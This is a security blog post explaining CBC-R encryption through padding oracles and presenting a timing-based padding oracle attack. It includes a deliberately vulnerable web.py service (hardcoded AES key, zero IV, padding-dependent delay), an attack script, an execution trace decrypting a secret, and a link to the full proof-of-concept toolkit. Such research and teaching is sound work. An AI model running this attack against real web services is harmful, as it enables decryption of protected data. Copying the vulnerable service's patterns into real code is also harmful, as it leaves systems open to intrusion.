Limited Entropy Dot Com Not so random thoughts on security featured by Eloi Sanfèlix

On Padding Oracles, CBC-R and timing attacks…

Somewhere before the weekend I was discussing about Padding Oracles with a friend and somehow it came up that there was no public tool using timing information for this kind of attacks.

I had seen that Thai and Juliano mentioned timing leaks in their talk at EkoParty, but since AFAIK there was no public tool available I decided to look into it. Also, some weeks ago I added the CBC-R encryption part to my scripts, in order to be able to encrypt arbitrary information as long as we are able to control the IV.

So in this post I'm going to write about these two things: CBC-R encryption and a web based padding oracle attack script using timing information.

CBC-R: Reverting CBC decryption... or encrypting by decrypting!

Ok, so if you remember from last post, we have a way to decrypt messages making use of a padding oracle. So, by providing specially crafted messages and asking whether the padding is correct or not, we can obtain the plaintext for a given ciphertext.

Now, can we use this for encryption? Well... the answer in general would be no unless you perform a bruteforce search to find the ciphertext that leads to your desired plaintext. However, with CBC mode we have a nice property. When an entity tries to decrypt something using CBC mode, the plaintext is computed as follows

Where is the initial vector. Now, if we control the ciphertext and the initial vector, we can set them up such that the required plaintext comes out when the decryption process takes place.

We start by the last ciphertext block, and set it to a random number. Next, we decrypt it using the padding oracle, which gives us . Given the desired value for , we just need to compute such that . If we continue all the way down to the IV, we have a set of IV + n ciphertext blocks that would produce the desired message.

So, this process I've also implemented in Python together with my previous code. Now it is possible to encrypt data as well, getting an IV that you need to supply to the decrypting entity. If you don't control the IV, you could provide all these n+1 blocks as ciphertext and you would get a leading block which would decrypt to garbage. Since most likely the target application can't handle leading garbage blocks, you'd have to chose another option such as bruteforcing the first block in order to get the desired result. However, this involves much more computational work.

A "web service" leaking padding information through the time

After this implementation work, and triggered by the discussion with my friend, I decided to write a sample vulnerable web service and try to exploit it using timing information. To simulate the vulnerable service, I initially used PHP and the openssl functions.

However, since the attack was failing and I thought it was due to a problem in the vulnerable service, I wrote it using web.py . This is nicer because then you only need Python to test it, so I decided to publish only the python version. The code simply listens for requests to the /padding/ path. For GET requests, it encrypts the msg parameter under a key and returns the ciphertext encoded using base64.

For POST requests, it receives the ciphertext in the ctext variable, decrypts it, checks the padding and if it is good it sleeps for 1 second. This is done to simulate access to a database, filesystem, or any other kind of activity that would happen under normal situations. Next, both with good and bad padding it returns the same information. This is the code:

import web
import struct
from Crypto.Cipher import AES
from base64 import b64decode,b64encode
import time
 
urls = ( '/padding/', 'padding')
app = web.application(urls, globals())
 
key = "cacacacacacacaca"
 
def oracle(ctext):
	oracleCipher = AES.new(key,AES.MODE_CBC,"\x00"*16)
	ptext = oracleCipher.decrypt(ctext)
	paddingLen = struct.unpack("B",ptext[-1])[0]
	goodPadding = (ptext[-paddingLen:] == struct.pack("B",paddingLen)*paddingLen)
 
	return goodPadding
 
def encrypt(data):
	paddingLen = 16 - len(data) % 16
	data = data + struct.pack("B",paddingLen)*paddingLen
	cipher = AES.new(key,AES.MODE_CBC,"\x00"*16)
	return b64encode(cipher.encrypt(data))
 
class padding:
	def GET(self):
		i = web.input(msg='secret!')
		return encrypt(i.msg)
 
	def POST(self):
		i = web.input(ctext=None)
		if(i.ctext!=None and oracle(b64decode(i.ctext))):
			time.sleep(1)
		return "Yeah!"
 
if __name__ == "__main__": app.run()

So as you can see, the only difference between correct and wrong padding in this case is the timing information. Now we can try to exploit it by performing requests, checking the timing and seeing if it's high or not. Of course, the delay is quite high (1 second) in this case, but it all boils down to how big a time delta you can detect through the network. The use of 1 second is just to make it simple during the tests.

Attacking timing leaks in Padding Oracles

Ok, now we have a vulnerable service. Our next step is to create an attack tool. I first created a class (TimingWebPaddingOracle) that is able to perform HTTP requests and analyze the time it takes to receive a response. The class also allows to define POST variables to be added to the request, and to define one of such variables as the oracle variable. You should also provide a default value for each of them, being the value given for the oracle value a correct ciphertext (i.e. one that produces good padding after decryption).

Once this is defined, you can analyze the timing of the correct and incorrect padding cases. To that end, the class first analyzes the original value of the oracle variable and next it changes the last bytes and analyzes the timing again. Then, it takes the middle value between the two timing values obtained as a threshold. Also, it stores whether a delay higher than the threshold means the padding is correct or not based on this analysis.

From there on, you can use the oracle. If the timing obtained is higher than the threshold, then it will return true or false depending on the type of oracle we have. In most of the cases, this will happen for a correct padding because then the application will proceed with other calculations.

I won't comment on the code here, you can take a look at it from the classes added at the end. The following is the code of the application used to test it:

from PaddingOracle.TimingWebPaddingOracle import TimingWebPaddingOracle
from base64 import b64decode,b64encode
from PaddingOracle.DecryptionOracle import DecryptionOracle
import sys
 
def hex_string(data):
    return "".join([ hex(ord(i))+" " for i in data])
 
blockSize = 16
url = "http://localhost:8080/padding/"
 
if __name__ == '__main__':
 
    if (len(sys.argv) <= 1 ):
        ctext = "szkAlVFq+Nh4yOt4prAwBtwRVvt51HIyU9o58+2Bxuo=" #Default ciphertext
    else:
        ctext = sys.argv[1];
        if ( len(sys.argv) > 2):
            reqs = int(sys.argv[2])
        else:
            reqs = 1 #Default to 1 request 
 
    webOracle = TimingWebPaddingOracle(url,b64encode,b64decode,reqs)
    decOracle = DecryptionOracle(webOracle.oracle,blockSize)
    webOracle.add_variable("ctext",ctext,True) #Add oracle variable with original value
 
    print "Analyzing oracle..."
    if(webOracle.test_oracle()):
        print "Oracle successfully analyzed. Analyzing provided ciphertext..."
        msg = decOracle.decrypt_message(b64decode(ctext))
        print "Message: "+str(msg)
        print "In hexadecimal: "+hex_string(msg)
    else:
        print "Could not analyze oracle :("

As you can see, it sets the URL, and provides an encoding and decoding functions to the TimingWebPaddingOracle function. These are used to decode the original ciphertext when analyzing the original value provided in the command line and to encode it when sending it to the web app.

The message to be decrypted is assumed to contain proper padding, so it is used first to analyze the oracle and then it is decrypted using the DecryptionOracle class. By default, the test uses 1 request per ciphertext to be tested. If an additional integer is provided, it uses so many requests and performs an average of the time obtained.

This is a trace of its execution:

eloi@XXX:~/dev/PaddingOracle/src$ python PaddingOracleTest/WebPaddingOracleTest.py "7TciRV2X4vFKuiUqz1g2SdfFQ4ry8mNKSxE73lknqd4ooeQrnW2AWQ0mv2FFyWod"
Analyzing oracle...
Found difference for i=0x0
Original timing: 1.00866293907
Bad timing: 0.00569581985474
Oracle successfully analyzed. Analyzing provided ciphertext...
Message: supersecret with limited entropy
In hexadecimal: 0x73 0x75 0x70 0x65 0x72 0x73 0x65 0x63 0x72 0x65 0x74 0x20 0x77 0x69 0x74 0x68 0x20 0x6c 0x69 0x6d 0x69 0x74 0x65 0x64 0x20 0x65 0x6e 0x74 0x72 0x6f 0x70 0x79 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10

As you can see, the message was correctly decrypted 🙂

Code

If you reach this point, you deserve being able to download the code ;). I've uploaded all the code in its current state (DecryptionOracle, CBC-R encryption oracle, TimingWebPaddingOracle and some the test cases) to the following URL:

http://www.limited-entropy.com/docs/PaddingOracle_0.2.tgz

Remember this is just PoC code and not release-quality code. Again, you can do whatever you like with it but it would be nice to give credit if you use it or base your stuff on it :-).

As for things you need to run it, you need Python (obvious 😉 ) with the following extra packages: web.py for the test service and pyCrypto for the cryptographic functions.